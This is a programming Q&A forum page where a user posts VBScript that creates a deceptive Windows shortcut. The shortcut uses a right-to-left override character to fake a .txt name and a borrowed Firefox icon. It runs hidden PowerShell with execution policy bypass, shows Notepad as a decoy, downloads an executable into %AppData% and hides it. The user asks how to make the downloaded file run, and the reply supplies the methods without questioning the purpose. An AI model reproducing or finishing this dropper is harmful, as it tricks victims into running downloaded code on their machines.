Click here to Skip to main content
15,889,876 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
I am trying to make a shortcut file that download putty.exe into %appdata% directory and also execute the downloaded file in windows uding vbscript but the active script below only download putty.exe into %appdata% directory without executing the setup file downloaded into %appdata%.

What I have tried:

Dim DownLoadLink, FileName
DownLoadLink = "'https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe'"
FileName = "'%AppData%\putty.exe'"

Set WshShell = CreateObject("WScript.Shell")
Set ShApp = CreateObject("Shell.Application")
DesktopPath = ShApp.Namespace(0).Self.Path
unicode = Unescape("%u0052%u0065%u0061%u0064%u004d%u0065%u005f%u202e%u0074%u0078%u0074%u002e%u006c%u006e%u006b")
unicodeName = "unicode.lnk"
shortcutPath = DesktopPath & "\" & unicodeName
Set lnk = WshShell.CreateShortcut(shortcutPath)
lnk.TargetPath = "powershell.exe"
lnk.Arguments =  "-ExecutionPolicy Bypass -WindowStyle Hidden -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile(" & DownLoadLink & "," & FileName & ");./" & Filename & ";(get-item " & Filename & ").Attributes += 'Hidden';"
lnk.IconLocation = "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
lnk.Description = "Type: Shortcut File"
lnk.Save()
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file = FSO.GetFile(shortcutPath)
file.name = unicode & ".exe"


Any prossible solution to this problem will be appreciated. Thanks
Posted
Updated 9-Feb-20 5:03am

1 solution

Well, that was easy. You don't have any code that actually launches what you downloaded, so that's why it doesn't launch what you downloaded.

You might want to look at the Run method[^] of the WScript.Shell object you created to do that.

Or, you can also use the Exec method[^] of a Wscript.Shell object.

Or, you can use the ShellExecute method[^] of a Shell.Application object. This is equivalent to clicking on Start/Run in Explorer.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900